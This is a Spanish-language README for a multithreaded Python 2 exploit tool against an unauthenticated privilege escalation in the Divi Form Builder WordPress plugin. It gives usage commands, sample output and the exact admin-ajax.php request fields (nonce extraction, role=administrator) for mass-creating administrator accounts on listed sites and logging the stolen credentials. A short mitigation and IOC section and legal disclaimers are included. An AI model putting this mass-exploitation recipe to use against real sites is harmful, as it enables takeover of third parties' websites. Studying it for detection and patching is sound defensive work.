Divi Form Builder <= 5.1.2 - Escalada de Privilegios No Autenticada mediante 'role'

⚠️ ADVERTENCIA: Esta herramienta es solo para pruebas de penetración autorizadas e investigación de seguridad.
El acceso no autorizado a sistemas informáticos es ilegal. Úsela solo en sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. Más descargo de responsabilidad: Puede ver el descargo en la portada de Jenderal92. Puede consultarlo AQUÍ !!!

Resumen

Este script de Python 2 explota una vulnerabilidad de escalada de privilegios en el plugin Divi de WordPress (y formularios Divi relacionados). Permite el registro remoto de una cuenta de administrador mediante:

• Extraer el fb_nonce del formulario de registro Divi del objetivo.
• Enviar una solicitud multipart/form-data manipulada a /wp-admin/admin-ajax.php con role=administrator.
• Detectar automáticamente el éxito y guardar las URLs de administrador comprometidas.

Características

• ✅ Multi‑hilo (20 hilos por defecto) para escaneo rápido.
• ✅ Normalización automática de URL – añade https:// si falta.
• ✅ Extracción de nonce usando múltiples patrones regex (JavaScript en línea, inputs ocultos, de_fb_obj).
• ✅ Solicitud multipart/form-data que imita un envío legítimo del navegador.
• ✅ Detección de éxito mediante palabras clave en la respuesta (success, user_id, user created, etc.).
• ✅ Resultados guardados en results.txt con el formato:
  https://target.com/wp-admin/ | usuario | contraseña

Requisitos

• Python 2.7 (usa urllib2, Queue, threading – no compatible con Python 3 sin modificaciones)
• Una lista de URLs objetivo (una por línea)

Instalación

git clone https://github.com/Jenderal92/CVE-2026-5118.git
cd CVE-2026-5118
chmod +x CVE-2026-5118.py

Uso

1. Preparar lista de objetivos

Cree un archivo de texto con un dominio o URL por línea. Puede omitir http:// / https:// – el script añadirá https:// por defecto.

Ejemplo targets.txt:

example.com
https://vulnerable-site.com
http://127.0.0.1/wordpress
test-site.org

2. Ejecutar el exploit

python CVE-2026-5118.py targets.txt

3. Ejemplo de salida

[*] Total de objetivos : 4
[*] Credenciales   : Attacker / Attacker@123#+
[*] Hilos          : 20
[*] Archivo de salida : results.txt

[1] Comprobando https://example.com
[+] ¡ÉXITO! https://example.com/wp-admin/

[2] Comprobando https://vulnerable-site.com
[+] ¡ÉXITO! https://vulnerable-site.com/wp-admin/

[3] Comprobando http://192.168.1.100/wordpress
[3] FALLÓ  http://192.168.1.100/wordpress

[4] Comprobando https://test-site.org
[4] FALLÓ  https://test-site.org

=== FINALIZADO ===
Exitosos: 2 / 4

4. Archivo de resultados (results.txt)

https://example.com/wp-admin/|Attacker|Attacker@123#+
https://vulnerable-site.com/wp-admin/|Attacker|Attacker@123#+

Configuración

Puede personalizar las siguientes variables al inicio del script:

Cómo funciona

1. Normalizar URL – añade https:// si no se proporciona esquema.
2. Extraer nonce – obtiene la página de inicio (o página de registro) y busca fb_nonce mediante patrones regex.
3. Construir solicitud – construye un POST multipart/form-data que contiene:
   • action=de_fb_ajax_submit_ajax_handler
   • fb_nonce=<nonce extraído>
   • role=administrator
   • de_fb_user_login / user_login
   • de_fb_user_pass / user_pass
   • de_fb_user_email / user_email
4. Enviar a admin-ajax.php – si la respuesta contiene alguna palabra clave de éxito, el objetivo se marca como vulnerable.

Detección y Mitigación

Para administradores de WordPress que usan Divi:

• Actualice Divi y todos los plugins asociados a la última versión.
• Deshabilite el registro público si no es necesario.
• Use un plugin de seguridad (Wordfence, Sucuri) para monitorear las solicitudes a admin-ajax.php.
• Implemente reCAPTCHA en todos los formularios de registro.
• Nunca exponga formularios de registro con un parámetro role que pueda ser manipulado.

Indicadores de compromiso (IOCs):

• Solicitudes inesperadas a admin-ajax.php con action=de_fb_ajax_submit_ajax_handler
• Nuevos usuarios administradores con nombres de usuario sospechosos (por ejemplo, Attacker)
• Datos POST que contienen role=administrator en los registros de acceso

Descargo Legal

Este software se proporciona con fines educativos y solo para pruebas de seguridad autorizadas. El autor no asume ninguna responsabilidad por el uso indebido o daños causados por esta herramienta. Al usar este software, usted acepta:

• Obtener permiso por escrito del propietario del sistema antes de realizar pruebas.
• Cumplir con todas las leyes aplicables (CFAA, Computer Misuse Act, UU ITE, etc.).
• Eliminar inmediatamente cualquier acceso no autorizado obtenido.
• Reportar las vulnerabilidades de manera responsable al proveedor afectado.

Violar estos términos puede resultar en enjuiciamiento penal, multas o prisión.

Contribuciones

Las solicitudes de extracción (pull requests) son bienvenidas para mejoras (port a Python 3, mejor extracción de nonce, detección de rutas de registro adicionales). Por favor, mantenga el descargo ético.